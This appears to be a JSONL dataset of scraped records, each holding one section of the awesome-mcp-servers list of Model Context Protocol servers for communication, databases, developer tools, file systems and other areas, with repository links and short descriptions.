- Containerized environments for coding agents. Multiple agents can work independently, isolated in fresh containers and git branches. No conflicts, many experiments. Full execution history, terminal access to agent environments, git workflow. Any agent/model/infra stack.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311783"}
{"id": "gh_6f741ed5fe4e", "question": "How to: 💬 <a name=\"communication\"></a>Communication", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Integration with communication platforms for message management and channel operations. Enables AI models to interact with team communication tools.\n\n- [AbdelStark/nostr-mcp](https://github.com/AbdelStark/nostr-mcp) ☁️ - A Nostr MCP server that allows to interact with Nostr, enabling posting notes, and more.\n- [adhikasp/mcp-twikit](https://github.com/adhikasp/mcp-twikit) 🐍 ☁️ - Interact with Twitter search and timeline\n- [agentmail-toolkit/mcp](https://github.com/agentmail-to/agentmail-toolkit/tree/main/mcp) 🐍 💬 - An MCP server to create inboxes on the fly to send, receive, and take actions on email. We aren't AI agents for email, but email for AI Agents.\n- [areweai/tsgram-mcp](https://github.com/areweai/tsgram-mcp) - TSgram: Telegram + Claude with local workspace access on your phone in typescript. Read, write, and vibe code on the go!\n- [arpitbatra123/mcp-googletasks](https://github.com/arpitbatra123/mcp-googletasks) 📇 ☁️ - An MCP server to interface with the Google Tasks API\n- [Cactusinhand/mcp_server_notify](https://github.com/Cactusinhand/mcp_server_notify) 🐍 🏠 - A MCP server that send desktop notifications with sound effect when agent tasks are completed.\n- [trycourier/courier-mcp](https://github.com/trycourier/courier-mcp) 🎖️ 💬 ☁️ 🛠️ 📇 🤖 - Build multi-channel notifications into your product, send messages, update lists, invoke automations, all without leaving your AI coding space.\n- [PhononX/cv-mcp-server](https://github.com/PhononX/cv-mcp-server) 🎖️ 📇 🏠 ☁️ 🍎 🪟 🐧 - MCP Server that connects AI Agents to [Carbon Voice](https://getcarbon.app). Create, manage, and interact with voice messages, conversations, direct messages, folders, voice memos, AI actions and more in [Carbon Voice](https://getcarbon.app).\n- [carterlasalle/mac_messages_mcp](https://github.com/carterlasalle/mac_messages_mcp) 🏠 🍎 🚀 - An MCP server that securely interfaces with your iMessage database via the Model Context Protocol (MCP), allowing LLMs to query and analyze iMessage conversations. It includes robust phone number validation, attachment processing, contact management, group chat handling, and full support for sending and receiving messages.\n- [chaindead/telegram-mcp](https://github.com/chaindead/telegram-mcp) 🏎️ 🏠 - Telegram API integration for accessing user data, managing dialogs (chats, channels, groups), retrieving messages, and handling read status\n- [chigwell/telegram-mcp](https://github.com/chigwell/telegram-mcp) 🐍 🏠 - Telegram API integration for accessing user data, managing dialogs (chats, channels, groups), retrieving messages, sending messages and handling read status.\n- [Danielpeter-99/calcom-mcp](https://github.com/Danielpeter-99/calcom-mcp) 🐍 🏠 - MCP server for Calcom. Manage event types, create bookings, and access Cal.com scheduling data through LLMs.\n- [discourse/discourse-mcp](https://github.com/discourse/discourse-mcp) 🎖️ 💎 ☁️ 🏠 💬 🍎 🪟 🐧 - Official Discourse MCP server for forum integration. Search topics, read posts, manage categories and tags, discover users, and interact with Discourse communities.\n- [elie222/inbox-zero](https://github.com/elie222/inbox-zero/tree/main/apps/mcp-server) 🐍 ☁️ - An MCP server for Inbox Zero. Adds functionality on top of Gmail like finding out which emails you need to reply to or need to follow up on.\n- [gerkensm/callcenter.js-mcp](https://github.com/gerkensm/callcenter.js-mcp) 📇 ☁️ - An MCP server to make phone calls using VoIP/SIP and OpenAI's Realtime API and observe the transcript.\n- [gitmotion/ntfy-me-mcp](https://github.com/gitmotion/ntfy-me-mcp) 📇 ☁️ 🏠 - An ntfy MCP server for sending/fetching ntfy notifications to your self-hosted ntfy server from AI Agents 📤 (supports secure token auth & more - use with npx or docker!)\n- [gotoolkits/wecombot](https://github.com/gotoolkits/mcp-wecombot-server.git) 🚀 ☁️ - An MCP server application that sends various types of messages to the WeCom group robot.\n- [hannesrudolph/imessage-query-fastmcp-mcp-server](https://github.com/hannesrudolph/imessage-query-fastmcp-mcp-server) 🐍 🏠 🍎 - An MCP server that provides safe access to your iMessage database through Model Context Protocol (MCP), enabling LLMs to query and analyze iMessage conversations with proper phone number validation and attachment handling\n- [i-am-bee/acp-mcp](https://github.com/i-am-bee/acp-mcp) 🐍 💬 - An MCP server acting as an adapter into the [ACP](https://agentcommunicationprotocol.dev) ecosystem. Seamlessly exposes ACP agents to MCP clients, bridging the communication gap between the two protocols.\n- [InditexTech/mcp-teams-server](https://github.com/InditexTech/mcp-teams-server) 🐍 ☁️ - MCP server that integrates Microsoft Teams messaging (read, post, mention, list members and threads)\n- [Infobip/mcp](https://github.com/infobip/mcp) 🎖️ ☁️ - Official Infobip MCP server for integrating Infobip global cloud communication platform. It equips AI agents with communication superpowers, allowing them to send and receive SMS and RCS messages, interact with WhatsApp and Viber, au", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311848"}
{"id": "gh_11f1161b23f3", "question": "How to: 👤 <a name=\"customer-data-platforms\"></a>Customer Data Platforms", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Provides access to customer profiles inside of customer data platforms\n\n- [antv/mcp-server-chart](https://github.com/antvis/mcp-server-chart) 🎖️ 📇 ☁️ - A Model Context Protocol server for generating visual charts using [AntV](https://github.com/antvis).\n- [hustcc/mcp-echarts](https://github.com/hustcc/mcp-echarts) 📇 🏠 - Generate visual charts using [Apache ECharts](https://echarts.apache.org) with AI MCP dynamically.\n- [hustcc/mcp-mermaid](https://github.com/hustcc/mcp-mermaid) 📇 🏠 - Generate [mermaid](https://mermaid.js.org/) diagram and chart with AI MCP dynamically.\n- [iaptic/mcp-server-iaptic](https://github.com/iaptic/mcp-server-iaptic) 🎖️ 📇 ☁️ - Connect with [iaptic](https://www.iaptic.com) to ask about your Customer Purchases, Transaction data and App Revenue statistics.\n- [OpenDataMCP/OpenDataMCP](https://github.com/OpenDataMCP/OpenDataMCP) 🐍 ☁️ - Connect any Open Data to any LLM with Model Context Protocol.\n- [sergehuber/inoyu-mcp-unomi-server](https://github.com/sergehuber/inoyu-mcp-unomi-server) 📇 ☁️ - An MCP server to access and updates profiles on an Apache Unomi CDP server.\n- [tinybirdco/mcp-tinybird](https://github.com/tinybirdco/mcp-tinybird) 🐍 ☁️ - An MCP server to interact with a Tinybird Workspace from any MCP client.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311858"}
{"id": "gh_00b55e8ee5c7", "question": "How to: 🗄️ <a name=\"databases\"></a>Databases", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Secure database access with schema inspection capabilities. Enables querying and analyzing data with configurable security controls including read-only access.\n\n- [Aiven-Open/mcp-aiven](https://github.com/Aiven-Open/mcp-aiven) - 🐍 ☁️ 🎖️ -  Navigate your [Aiven projects](https://go.aiven.io/mcp-server) and interact with the PostgreSQL®, Apache Kafka®, ClickHouse® and OpenSearch® services\n- [alexanderzuev/supabase-mcp-server](https://github.com/alexander-zuev/supabase-mcp-server) - Supabase MCP Server with support for SQL query execution and database exploration tools\n- [aliyun/alibabacloud-tablestore-mcp-server](https://github.com/aliyun/alibabacloud-tablestore-mcp-server) ☕ 🐍 ☁️ - MCP service for Tablestore, features include adding documents, semantic search for documents based on vectors and scalars, RAG-friendly, and serverless.\n- [amineelkouhen/mcp-cockroachdb](https://github.com/amineelkouhen/mcp-cockroachdb) 🐍 ☁️ - A Model Context Protocol server for managing, monitoring, and querying data in [CockroachDB](https://cockroachlabs.com).\n- [benborla29/mcp-server-mysql](https://github.com/benborla/mcp-server-mysql) ☁️ 🏠 - MySQL database integration in NodeJS with configurable access controls and schema inspection\n- [bram2w/baserow](https://github.com/bram2w/baserow) - Baserow database integration with table search, list, and row create, read, update, and delete capabilities.\n- [c4pt0r/mcp-server-tidb](https://github.com/c4pt0r/mcp-server-tidb) 🐍 ☁️ - TiDB database integration with schema inspection and query capabilities\n- [Canner/wren-engine](https://github.com/Canner/wren-engine) 🐍 🦀 🏠 - The Semantic Engine for Model Context Protocol(MCP) Clients and AI Agents\n- [centralmind/gateway](https://github.com/centralmind/gateway) 🏎️ 🏠 🍎 🪟 - MCP and MCP SSE Server that automatically generate API based on database schema and data. Supports PostgreSQL, Clickhouse, MySQL, Snowflake, BigQuery, Supabase\n- [ChristianHinge/dicom-mcp](https://github.com/ChristianHinge/dicom-mcp) 🐍 ☁️ 🏠 - DICOM integration to query, read, and move medical images and reports from PACS and other DICOM compliant systems.\n- [chroma-core/chroma-mcp](https://github.com/chroma-core/chroma-mcp) 🎖️ 🐍 ☁️ 🏠 - Chroma MCP server to access local and cloud Chroma instances for retrieval capabilities\n- [ClickHouse/mcp-clickhouse](https://github.com/ClickHouse/mcp-clickhouse) 🐍 ☁️ - ClickHouse database integration with schema inspection and query capabilities\n- [confluentinc/mcp-confluent](https://github.com/confluentinc/mcp-confluent) 🐍 ☁️ - Confluent integration to interact with Confluent Kafka and Confluent Cloud REST APIs.\n- [Couchbase-Ecosystem/mcp-server-couchbase](https://github.com/Couchbase-Ecosystem/mcp-server-couchbase) 🎖️ 🐍 ☁️ 🏠 - Couchbase MCP server provides unfied access to both Capella cloud and self-managed clusters for document operations, SQL++ queries and natural language data analysis.\n- [cr7258/elasticsearch-mcp-server](https://github.com/cr7258/elasticsearch-mcp-server) 🐍 🏠 - MCP Server implementation that provides Elasticsearch interaction\n- [crystaldba/postgres-mcp](https://github.com/crystaldba/postgres-mcp) 🐍 🏠 - All-in-one MCP server for Postgres development and operations, with tools for performance analysis, tuning, and health checks\n- [Dataring-engineering/mcp-server-trino](https://github.com/Dataring-engineering/mcp-server-trino) 🐍 ☁️ - Trino MCP Server to query and access data from Trino Clusters.\n- [davewind/mysql-mcp-server](https://github.com/dave-wind/mysql-mcp-server) 🏎️ 🏠 A – user-friendly read-only mysql mcp server for cursor and n8n...\n- [designcomputer/mysql_mcp_server](https://github.com/designcomputer/mysql_mcp_server) 🐍 🏠 - MySQL database integration with configurable access controls, schema inspection, and comprehensive security guidelines\n- [domdomegg/airtable-mcp-server](https://github.com/domdomegg/airtable-mcp-server) 📇 🏠 - Airtable database integration with schema inspection, read and write capabilities\n- [edwinbernadus/nocodb-mcp-server](https://github.com/edwinbernadus/nocodb-mcp-server) 📇 ☁️ - Nocodb database integration, read and write capabilities\n- [ergut/mcp-bigquery-server](https://github.com/ergut/mcp-bigquery-server) 📇 ☁️ - Server implementation for Google BigQuery integration that enables direct BigQuery database access and querying capabilities\n- [f4ww4z/mcp-mysql-server](https://github.com/f4ww4z/mcp-mysql-server) 📇 🏠 - Node.js-based MySQL database integration that provides secure MySQL database operations\n- [ferrants/memvid-mcp-server](https://github.com/ferrants/memvid-mcp-server) 🐍 🏠 - Python Streamable HTTP Server you can run locally to interact with [memvid](https://github.com/Olow304/memvid) storage and semantic search.\n- [fireproof-storage/mcp-database-server](https://github.com/fireproof-storage/mcp-database-server) 📇 ☁️ - Fireproof ledger database with multi-user sync\n- [freema/mcp-gsheets](https://github.com/freema/mcp-gsheets) 📇 ☁️ - MCP server for Google Sheets API integration wit", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311915"}
{"id": "gh_f3b6dad17c0f", "question": "How to: 📊 <a name=\"data-platforms\"></a>Data Platforms", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Data Platforms for data integration, transformation and pipeline orchestration.\n\n- [aywengo/kafka-schema-reg-mcp](https://github.com/aywengo/kafka-schema-reg-mcp) 🐍 ☁️ 🏠 🍎 🪟 🐧 - Comprehensive Kafka Schema Registry MCP server with 48 tools for multi-registry management, schema migration, and enterprise features.\n- [dbt-labs/dbt-mcp](https://github.com/dbt-labs/dbt-mcp) 🎖️ 🐍 🏠 ☁️ - Official MCP server for [dbt (data build tool)](https://www.getdbt.com/product/what-is-dbt) providing integration with dbt Core/Cloud CLI, project metadata discovery, model information, and semantic layer querying capabilities.\n- [flowcore/mcp-flowcore-platform](https://github.com/flowcore-io/mcp-flowcore-platform) 🎖️ 📇 ☁️ 🏠 - Interact with Flowcore to perform actions, ingest data, and analyse, cross reference and utilise any data in your data cores, or in public data cores; all with human language.\n- [JordiNei/mcp-databricks-server](https://github.com/JordiNeil/mcp-databricks-server) 🐍 ☁️ - Connect to Databricks API, allowing LLMs to run SQL queries, list jobs, and get job status.\n- [jwaxman19/qlik-mcp](https://github.com/jwaxman19/qlik-mcp) 📇 ☁️ - MCP Server for Qlik Cloud API that enables querying applications, sheets, and extracting data from visualizations with comprehensive authentication and rate limiting support.\n- [keboola/keboola-mcp-server](https://github.com/keboola/keboola-mcp-server) 🐍 - interact with Keboola Connection Data Platform. This server provides tools for listing and accessing data from Keboola Storage API.\n- [mattijsdp/dbt-docs-mcp](https://github.com/mattijsdp/dbt-docs-mcp) 🐍 🏠 - MCP server for dbt-core (OSS) users as the official dbt MCP only supports dbt Cloud. Supports project metadata, model and column-level lineage and dbt documentation.\n- [yashshingvi/databricks-genie-MCP](https://github.com/yashshingvi/databricks-genie-MCP) 🐍 ☁️ - A server that connects to the Databricks Genie API, allowing LLMs to ask natural language questions, run SQL queries, and interact with Databricks conversational agents.\n- [alkemiai/alkemi-mcp](https://github.com/alkemi-ai/alkemi-mcp) 📇 ☁️ - MCP Server for natural language querying of Snowflake, Google BigQuery, and DataBricks Data Products through Alkemi.ai.\n- [avisangle/method-crm-mcp](https://github.com/avisangle/method-crm-mcp) 🐍 ☁️ 🏠 🍎 🪟 🐧 - Production-ready MCP server for Method CRM API integration with 20 comprehensive tools for tables, files, users, events, and API key management. Features rate limiting, retry logic, and dual transport support (stdio/HTTP).\n- [paracetamol951/caisse-enregistreuse-mcp-server](https://github.com/paracetamol951/caisse-enregistreuse-mcp-server) 🏠 🐧 🍎 ☁️ - Allows you to automate or monitor business operations, sales recorder, POS software, CRM.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311930"}
{"id": "gh_b5450d3fa99d", "question": "How to: 💻 <a name=\"developer-tools\"></a>Developer Tools", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Tools and integrations that enhance the development workflow and environment management.\n\n- [21st-dev/Magic-MCP](https://github.com/21st-dev/magic-mcp) - Create crafted UI components inspired by the best 21st.dev design engineers.\n- [louis030195/gptzero-mcp](https://github.com/louis030195/gptzero-mcp) 📇 ☁️ 🍎 🪟 🐧 - AI detection for text content with GPTZero API. Detect AI-generated text, get confidence scores, multilingual support (French/Spanish), and detailed probability breakdowns.\n- [aashari/mcp-server-atlassian-bitbucket](https://github.com/aashari/mcp-server-atlassian-bitbucket) 📇 ☁️ - Atlassian Bitbucket Cloud integration. Enables AI systems to interact with repositories, pull requests, workspaces, and code in real time.\n- [aashari/mcp-server-atlassian-confluence](https://github.com/aashari/mcp-server-atlassian-confluence) 📇 ☁️ - Atlassian Confluence Cloud integration. Enables AI systems to interact with Confluence spaces, pages, and content with automatic ADF to Markdown conversion.\n- [aashari/mcp-server-atlassian-jira](https://github.com/aashari/mcp-server-atlassian-jira) 📇 ☁️ - Atlassian Jira Cloud integration. Enables AI systems to interact with Jira projects, issues, comments, and related development information in real time.\n- [abrinsmead/mindpilot-mcp](https://github.com/abrinsmead/mindpilot-mcp) 📇 🏠 - Visualizes code, architecture and other concepts as mermaid diagrams in a locally hosted web app. Just ask your agent to \"show me this in a diagram\".\n- [admica/FileScopeMCP](https://github.com/admica/FileScopeMCP) 🐍 📇 🦀 - Analyzes your codebase identifying important files based on dependency relationships. Generates diagrams and importance scores, helping AI assistants understand the codebase.\n- [agent-hanju/char-index-mcp](https://github.com/agent-hanju/char-index-mcp) 🐍 🏠 ☁️ 🍎 🪟 🐧 - Precise character-level string indexing for LLMs. Provides tools for finding, extracting, and manipulating text by exact character position to solve position-based operations.\n- [akramIOT/MCP_AI_SOC_Sher](https://github.com/akramIOT/MCP_AI_SOC_Sher)  🐍 ☁️ 📇 - MCP Server to do dynamic AI SOC Security Threat analysis for a  Text2SQL  AI Agent.\n- [alimo7amed93/webhook-tester-mcp](https://github.com/alimo7amed93/webhook-tester-mcp)  🐍 ☁️ – A FastMCP-based server for interacting with webhook-test.com. Enables users to create, retrieve, and delete webhooks locally using Claude.\n- [ambar/simctl-mcp](https://github.com/ambar/simctl-mcp) 📇 🏠 🍎 A MCP server implementation for iOS Simulator control.\n- [api7/apisix-mcp](https://github.com/api7/apisix-mcp) 🎖️ 📇 🏠 MCP Server that support for querying and managing all resource in [Apache APISIX](https://github.com/apache/apisix).\n- [ArchAI-Labs/fastmcp-sonarqube-metrics](https://github.com/ArchAI-Labs/fastmcp-sonarqube-metrics) 🐍 🏠 🪟 🐧 🍎 -  A Model Context Protocol (MCP) server that provides a set of tools for retrieving information about SonarQube projects like metrics (actual and historical), issues, health status.\n- [artmann/package-registry-mcp](https://github.com/artmann/package-registry-mcp) 🏠 📇 🍎 🪟 🐧 - MCP server for searching and getting up-to-date information about NPM, Cargo, PyPi, and NuGet packages.\n- [wyattjoh/jsr-mcp](https://github.com/wyattjoh/jsr-mcp) 📇 ☁️ - Model Context Protocol server for the JSR (JavaScript Registry)\n- [augmnt/augments-mcp-server](https://github.com/augmnt/augments-mcp-server) 📇 ☁️ 🏠 - Transform Claude Code with intelligent, real-time access to 90+ framework documentation sources. Get accurate, up-to-date code generation that follows current best practices for React, Next.js, Laravel, FastAPI, Tailwind CSS, and more.\n- [automation-ai-labs/mcp-link](https://github.com/automation-ai-labs/mcp-link) 🏎️ 🏠 - Seamlessly Integrate Any API with AI Agents (with OpenAPI Schema)\n- [avisangle/jenkins-mcp-server](https://github.com/avisangle/jenkins-mcp-server) 🐍 🏠 🍎 🪟 🐧 - Enterprise-grade Jenkins CI/CD integration with multi-tier caching, pipeline monitoring, artifact management, and batch operations. Features 21 MCP tools for job management, build status tracking, and queue management with CSRF protection and 2FA support.\n- [axliupore/mcp-code-runner](https://github.com/axliupore/mcp-code-runner) 📇 🏠 - An MCP server for running code locally via Docker and supporting multiple programming languages.\n- [azer/react-analyzer-mcp](https://github.com/azer/react-analyzer-mcp) 📇 🏠 - Analyze React code locally, generate docs / llm.txt for whole project at once\n- [bitrise-io/bitrise-mcp](https://github.com/bitrise-io/bitrise-mcp) 🎖️ 🐍 ☁️ 🍎 🪟 🐧 - MCP Server for the [Bitrise](https://bitrise.io) API, enabling app management, build operations, artifact management and more.\n- [buildkite/buildkite-mcp-server](https://github.com/buildkite/buildkite-mcp-server) 🎖️ 🏎️ 🏠 ☁️ 🍎 🪟 🐧 - Official MCP server for Buildkite. Create new pipelines, diagnose and fix failures, trigger builds, monitor job queues, and more.\n- [Chunkydotdev/bldbl-mcp](https://github.com/chunkydotdev/bldbl-m", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312043"}
{"id": "gh_a56b00d3f720", "question": "How to: 🔒 <a name=\"delivery\"></a>Delivery", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [https://github.com/jordandalton/doordash-mcp-server](https://github.com/JordanDalton/DoorDash-MCP-Server) 🐍 – DoorDash Delivery (Unofficial)", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312053"}
{"id": "gh_e3bfc7a3d6f4", "question": "How to: 🧮 <a name=\"data-science-tools\"></a>Data Science Tools", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Integrations and tools designed to simplify data exploration, analysis and enhance data science workflows.\n\n- [arrismo/kaggle-mcp](https://github.com/arrismo/kaggle-mcp) 🐍 ☁️ - Connects to Kaggle, ability to download and analyze datasets.\n- [avisangle/calculator-server](https://github.com/avisangle/calculator-server) 🏎️ 🏠 - A comprehensive Go-based MCP server for mathematical computations, implementing 13 mathematical tools across basic arithmetic, advanced functions, statistical analysis, unit conversions, and financial calculations.\n- [bradleylab/stella-mcp](https://github.com/bradleylab/stella-mcp) 🐍 🏠 - Create, read, validate, and save Stella system dynamics models (.stmx files in XMILE format) for scientific simulation and modeling.\n- [ChronulusAI/chronulus-mcp](https://github.com/ChronulusAI/chronulus-mcp) 🐍 ☁️ - Predict anything with Chronulus AI forecasting and prediction agents.\n- [DataEval/dingo](https://github.com/DataEval/dingo) 🎖️ 🐍 🏠 🍎 🪟 🐧 - MCP server for the Dingo: a comprehensive data quality evaluation tool. Server Enables interaction with Dingo's rule-based and LLM-based evaluation capabilities and rules&prompts listing.\n- [datalayer/jupyter-mcp-server](https://github.com/datalayer/jupyter-mcp-server) 🐍 🏠 - Model Context Protocol (MCP) Server for Jupyter.\n- [abhiphile/fermat-mcp](https://github.com/abhiphile/fermat-mcp) 🐍 🏠 🍎 🪟 🐧 - The ultimate math engine unifying SymPy, NumPy & Matplotlib in one powerful server. Perfect for developers & researchers needing symbolic algebra, numerical computing, and data visualization.\n- [growthbook/growthbook-mcp](https://github.com/growthbook/growthbook-mcp) 🎖️ 📇 🏠 🪟 🐧 🍎 — Tools for creating and interacting with GrowthBook feature flags and experiments.\n- [HumanSignal/label-studio-mcp-server](https://github.com/HumanSignal/label-studio-mcp-server) 🎖️ 🐍 ☁️ 🪟 🐧 🍎 - Create, manage, and automate Label Studio projects, tasks, and predictions for data labeling workflows.\n- [jjsantos01/jupyter-notebook-mcp](https://github.com/jjsantos01/jupyter-notebook-mcp) 🐍 🏠 - connects Jupyter Notebook to Claude AI, allowing Claude to directly interact with and control Jupyter Notebooks.\n- [kdqed/zaturn](https://github.com/kdqed/zaturn) 🐍 🏠 🪟 🐧 🍎 - Link multiple data sources (SQL, CSV, Parquet, etc.) and ask AI to analyze the data for insights and visualizations.\n- [mckinsey/vizro-mcp](https://github.com/mckinsey/vizro/tree/main/vizro-mcp) 🎖️ 🐍 🏠 - Tools and templates to create validated and maintainable data charts and dashboards.\n- [optuna/optuna-mcp](https://github.com/optuna/optuna-mcp) 🎖️ 🐍 🏠 🐧 🍎 - Official MCP server enabling seamless orchestration of hyperparameter search and other optimization tasks with [Optuna](https://optuna.org/).\n- [pramod/kaggle](https://github.com/KrishnaPramodParupudi/kaggle-mcp-server) 🐍 - This Kaggle MCP Server makes Kaggle more accessible by letting you browse competitions, leaderboards, models, datasets, and kernels directly within MCP, streamlining discovery for data scientists and developers.\n- [phisanti/MCPR](https://github.com/phisanti/MCPR) 🏠 🍎 🪟 🐧 - Model Context Protocol for R: enables AI agents to participate in interactive live R sessions.\n- [reading-plus-ai/mcp-server-data-exploration](https://github.com/reading-plus-ai/mcp-server-data-exploration) 🐍 ☁️ - Enables autonomous data exploration on .csv-based datasets, providing intelligent insights with minimal effort.\n- [subelsky/bundler_mcp](https://github.com/subelsky/bundler_mcp) 💎 🏠 - Enables agents to query local information about dependencies in a Ruby project's `Gemfile`.\n- [Bright-L01/networkx-mcp-server](https://github.com/Bright-L01/networkx-mcp-server) 🐍 🏠 - The first NetworkX integration for Model Context Protocol, enabling graph analysis and visualization directly in AI conversations. Supports 13 operations including centrality algorithms, community detection, PageRank, and graph visualization.\n- [zcaceres/markdownify-mcp](https://github.com/zcaceres/markdownify-mcp) 📇 🏠 - An MCP server to convert almost any file or web content into Markdown", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312069"}
{"id": "gh_5cc7308e28b7", "question": "How to: 📟 <a name=\"embedded-system\"></a>Embedded System", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Provides access to documentation and shortcuts for working on embedded devices.\n\n- [horw/esp-mcp](https://github.com/horw/esp-mcp) 📟 - Workflow for fixing build issues in ESP32 series chips using ESP-IDF.\n- [kukapay/modbus-mcp](https://github.com/kukapay/modbus-mcp) 🐍 📟 - An MCP server that standardizes and contextualizes industrial Modbus data.\n- [kukapay/opcua-mcp](https://github.com/kukapay/opcua-mcp) 🐍 📟 - An MCP server that connects to OPC UA-enabled industrial systems.\n- [stack-chan/stack-chan](https://github.com/stack-chan/stack-chan) 📇 📟 - A JavaScript-driven M5Stack-embedded super-kawaii robot with MCP server functionality for AI-controlled interactions and emotions.\n- [yoelbassin/gnuradioMCP](https://github.com/yoelbassin/gnuradioMCP) 🐍 📟 🏠 - An MCP server for GNU Radio that enables LLMs to autonomously create and modify RF `.grc` flowcharts.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312077"}
{"id": "gh_f65f0b5ffcd4", "question": "How to: 📂 <a name=\"file-systems\"></a>File Systems", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Provides direct access to local file systems with configurable permissions. Enables AI models to read, write, and manage files within specified directories.\n\n- [8b-is/smart-tree](https://github.com/8b-is/smart-tree) 🦀 🏠 🍎 🪟 🐧 - AI-native directory visualization with semantic analysis, ultra-compressed formats for AI consumption, and 10x token reduction. Supports quantum-semantic mode with intelligent file categorization.\n- [box/mcp-server-box-remote](https://github.com/box/mcp-server-box-remote/) 🎖️ ☁️ - The Box MCP server allows third party AI agents to securely and seamlessly access Box content and use tools such as search, asking questions from files and folders, and data extraction.\n- [cyberchitta/llm-context.py](https://github.com/cyberchitta/llm-context.py) 🐍 🏠 - Share code context with LLMs via MCP or clipboard\n- [exoticknight/mcp-file-merger](https://github.com/exoticknight/mcp-file-merger) 🏎️ 🏠 - File merger tool, suitable for AI chat length limits.\n- [filesystem@quarkiverse/quarkus-mcp-servers](https://github.com/quarkiverse/quarkus-mcp-servers/tree/main/filesystem) ☕ 🏠 - A filesystem allowing for browsing and editing files implemented in Java using Quarkus. Available as jar or native image.\n- [hmk/box-mcp-server](https://github.com/hmk/box-mcp-server) 📇 ☁️ - Box integration for listing, reading and searching files\n- [isaacphi/mcp-gdrive](https://github.com/isaacphi/mcp-gdrive) 📇 ☁️ - Model Context Protocol (MCP) Server for reading from Google Drive and editing Google Sheets.\n- [jeannier/homebrew-mcp](https://github.com/jeannier/homebrew-mcp) 🐍 🏠 🍎 - Control your macOS Homebrew setup using natural language via this MCP server. Simply manage your packages, or ask for suggestions, troubleshoot brew issues etc.\n- [willianpinho/large-file-mcp](https://github.com/willianpinho/large-file-mcp) 📇 🏠 🍎 🪟 🐧 - Production-ready MCP server for intelligent handling of large files with smart chunking, navigation, streaming capabilities, regex search, and built-in LRU caching.\n- [mamertofabian/mcp-everything-search](https://github.com/mamertofabian/mcp-everything-search) 🐍 🏠 🪟 - Fast Windows file search using Everything SDK\n- [mark3labs/mcp-filesystem-server](https://github.com/mark3labs/mcp-filesystem-server) 🏎️ 🏠 - Golang implementation for local file system access.\n- [mickaelkerjean/filestash](https://github.com/mickael-kerjean/filestash/tree/master/server/plugin/plg_handler_mcp) 🏎️ ☁️ - Remote Storage Access: SFTP, S3, FTP, SMB, NFS, WebDAV, GIT, FTPS, gcloud, azure blob, sharepoint, etc.\n- [microsoft/markitdown](https://github.com/microsoft/markitdown/tree/main/packages/markitdown-mcp) 🎖️ 🐍 🏠 - MCP tool access to MarkItDown -- a library that converts many file formats (local or remote) to Markdown for LLM consumption.\n- [modelcontextprotocol/server-filesystem](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/filesystem) 📇 🏠 - Direct local file system access.\n- [Xuanwo/mcp-server-opendal](https://github.com/Xuanwo/mcp-server-opendal) 🐍 🏠 ☁️ - Access any storage with Apache OpenDAL™", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312089"}
